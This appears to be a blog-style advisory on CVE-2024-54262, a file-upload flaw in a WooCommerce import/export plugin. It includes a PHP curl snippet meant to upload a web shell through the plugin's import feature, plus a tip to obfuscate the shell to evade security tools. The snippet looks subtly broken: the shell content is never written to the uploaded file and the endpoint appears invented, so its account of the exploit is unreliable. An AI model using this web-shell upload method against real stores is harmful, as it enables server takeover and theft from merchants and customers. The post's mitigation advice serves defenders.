In this piece, we will take a closer look at the Import Export for WooCommerce and how it handles file uploading, explore some possible exploits, and provide relevant references for further guidance.

Introduction: In today's world of interconnectivity and digital commerce, security has become a top priority for online businesses. This is especially true for e-commerce platforms like WooCommerce. However, even the most diligent of developers can sometimes overlook a critical security vulnerability. One such instance is the CVE-2024-54262 vulnerability in Siddharth Nagar Import Export for WooCommerce, a popular plugin designed to facilitate importing and exporting product data in WooCommerce stores.

Affected Plugin: Import Export For WooCommerce
Affected Versions: n/a through 1.5

Vulnerability Details: The CVE-2024-54262 vulnerability stems from the unrestricted upload of files with dangerous types in the Import Export for WooCommerce plugin. This makes it possible for an attacker to upload a web shell, a malicious file that allows remote code execution, onto a vulnerable web server.

Exploit Details: This security flaw can be exploited by an attacker with minimal prerequisites. As long as the attacker has access to the plugin's import feature, they can leverage this vulnerability to upload a malicious file disguised with a valid extension. Here's a code snippet that demonstrates how the exploit could work:

<?php
// malicious_file.php
$content = "<?php echo \"This is a malicious web shell\"; ?>";
$upload_filename = "siddharth_nagar_import_export_for_woocommerce.webshell.php";
$import_feature_url = "https://vulnerable_woocomm_site.com/siddharth_nagar_import_export_for_woocommerce/import";;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $import_feature_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
  "file" => new CurlFile($upload_filename, "text/csv", $upload_filename)
]);
$result = curl_exec($ch);
curl_close($ch);
?>

In this code snippet, the attacker creates a malicious file named "siddharth_nagar_import_export_for_woocommerce.webshell.php" that contains PHP code that will run when the file is accessed. This file is then uploaded using the Import Export for WooCommerce plugin's import feature.

The exploit can be further enhanced with additional tactics, such as obfuscating the uploaded web shell's filename or content to evade detection by security software.

Prevention and Mitigation: To protect against the CVE-2024-54262 vulnerability, users of the Import Export for WooCommerce plugin should update the plugin to the latest version available. This is crucial as the vulnerability is present from version n/a through 1.5, warranting immediate action.

It is also essential for web server administrators to implement security best practices, such as ensuring that uploaded files are thoroughly scanned and in the correct directory where executable files are not permitted.

Conclusion: The CVE-2024-54262 vulnerability is a glaring security flaw in the popular WooCommerce plugin that could potentially endanger online stores and their customers. Users of the plugin must ensure they are running the latest version to protect against possible exploits. Administrators should also implement proper security measures to safeguard their server, as well as diligently keeping up with new vulnerabilities and updates that may arise in the future.
